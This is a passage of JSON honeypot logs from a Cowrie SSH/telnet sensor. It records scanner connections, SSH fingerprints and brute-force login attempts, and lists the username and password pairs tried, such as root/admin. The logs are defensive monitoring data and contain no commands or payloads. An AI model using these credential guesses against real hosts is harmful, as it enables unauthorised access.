none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:25.573259Z","src_ip":"198.1.93.192","session":"139fc8db10b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D3F1$Tr0ng@W0rd","message":"login attempt [root/D3F1$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:25.821365Z","src_ip":"198.1.93.192","session":"139fc8db10b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:26.905486Z","src_ip":"198.1.93.192","session":"139fc8db10b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55480,"dst_ip":"10.17.0.5","dst_port":22,"session":"41fcebc5b329","protocol":"ssh","message":"New connection: 143.20.185.207:55480 (10.17.0.5:22) [session: 41fcebc5b329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:33.113238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:33.138429Z","src_ip":"143.20.185.207","session":"41fcebc5b329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:33.229169Z","src_ip":"143.20.185.207","session":"41fcebc5b329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS4VCPU16GBAMD","message":"login attempt [root/XYZZVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:33.684424Z","src_ip":"143.20.185.207","session":"41fcebc5b329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:34.841699Z","src_ip":"143.20.185.207","session":"41fcebc5b329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.137","src_port":51262,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2fe5505f435","protocol":"telnet","message":"New connection: 64.62.197.137:51262 (159.203.135.109:23) [session: e2fe5505f435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:35.749279Z"}
{"eventid":"cowrie.session.closed","duration":2.0749075412750244,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:18:37.824071Z","src_ip":"64.62.197.137","session":"e2fe5505f435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.254","src_port":48548,"dst_ip":"159.203.135.109","dst_port":22,"session":"11cea5734e60","protocol":"ssh","message":"New connection: 154.90.70.254:48548 (159.203.135.109:22) [session: 11cea5734e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:07.274244Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:07.279142Z","src_ip":"154.90.70.254","session":"11cea5734e60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.254","src_port":48552,"dst_ip":"159.203.135.109","dst_port":22,"session":"48bed8af76bd","protocol":"ssh","message":"New connection: 154.90.70.254:48552 (159.203.135.109:22) [session: 48bed8af76bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:07.361518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:07.370560Z","src_ip":"154.90.70.254","session":"48bed8af76bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:07.456835Z","src_ip":"154.90.70.254","session":"48bed8af76bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:07.714217Z","src_ip":"154.90.70.254","session":"48bed8af76bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:08.801547Z","src_ip":"154.90.70.254","session":"48bed8af76bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.254","src_port":48556,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcd50176051","protocol":"ssh","message":"New connection: 154.90.70.254:48556 (159.203.135.109:22) [session: 5bcd50176051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:08.874152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:08.878797Z","src_ip":"154.90.70.254","session":"5bcd50176051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:08.959968Z","src_ip":"154.90.70.254","session":"5bcd50176051","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:09.206925Z","src_ip":"154.90.70.254","session":"5bcd50176051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:09.288423Z","src_ip":"154.90.70.254","session":"5bcd50176051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47864,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ec92bc2d61a","protocol":"telnet","message":"New connection: 170.64.224.25:47864 (159.203.135.109:23) [session: 8ec92bc2d61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:13.817786Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44480,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a7e299b614","protocol":"ssh","message":"New connection: 77.94.47.83:44480 (10.17.0.5:22) [session: 52a7e299b614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:43.010480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:43.014807Z","src_ip":"77.94.47.83","session":"52a7e299b614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:43.126253Z","src_ip":"77.94.47.83","session":"52a7e299b614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonics","message":"login attempt [root/sonics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:43.462075Z","src_ip":"77.94.47.83","session":"52a7e299b614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60708,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec34f08571d","protocol":"telnet","message":"New connection: 170.64.224.25:60708 (159.203.135.109:23) [session: bec34f08571d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:43.618704Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60720,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f65b18a0b8f","protocol":"telnet","message":"New connection: 170.64.224.25:60720 (159.203.135.109:23) [session: 8f65b18a0b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:44.140280Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:44.582844Z","src_ip":"77.94.47.83","session":"52a7e299b614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":59476,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a5bb662d54","protocol":"ssh","message":"New connection: 159.65.58.200:59476 (159.203.135.109:22) [session: 60a5bb662d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:44.805415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:45.097583Z","src_ip":"159.65.58.200","session":"60a5bb662d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:45.100339Z","src_ip":"159.65.58.200","session":"60a5bb662d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sirenko","password":"123456","message":"login attempt [sirenko/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:46.422837Z","src_ip":"159.65.58.200","session":"60a5bb662d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ac222ec7c2e","protocol":"ssh","message":"New connection: 103.27.238.120:50058 (159.203.135.109:22) [session: 8ac222ec7c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:47.122147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:47.129170Z","src_ip":"103.27.238.120","session":"8ac222ec7c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:47.398233Z","src_ip":"103.27.238.120","session":"8ac222ec7c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:47.715684Z","src_ip":"159.65.58.200","session":"60a5bb662d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789777","message":"login attempt [root/123456789777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:48.207641Z","src_ip":"103.27.238.120","session":"8ac222ec7c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:19:49.479690Z","src_ip":"103.27.238.120","session":"8ac222ec7c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":41406,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b933cb9d4f7","protocol":"ssh","message":"New connection: 182.93.7.194:41406 (159.203.135.109:22) [session: 5b933cb9d4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:02.915474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:02.919530Z","src_ip":"182.93.7.194","session":"5b933cb9d4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.985753059387207,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:03.125903Z","src_ip":"170.64.224.25","session":"8f65b18a0b8f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:03.146102Z","src_ip":"182.93.7.194","session":"5b933cb9d4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"igra","password":"igra123","message":"login attempt [igra/igra123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:04.041829Z","src_ip":"182.93.7.194","session":"5b933cb9d4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.8503475189209,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:04.668002Z","src_ip":"170.64.224.25","session":"8ec92bc2d61a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:05.267057Z","src_ip":"182.93.7.194","session":"5b933cb9d4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":43654,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf90d5801fb","protocol":"ssh","message":"New connection: 18.218.118.203:43654 (10.17.0.5:22) [session: 1cf90d5801fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:17.627906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:17.776467Z","src_ip":"18.218.118.203","session":"1cf90d5801fb","protocol":"ssh"}
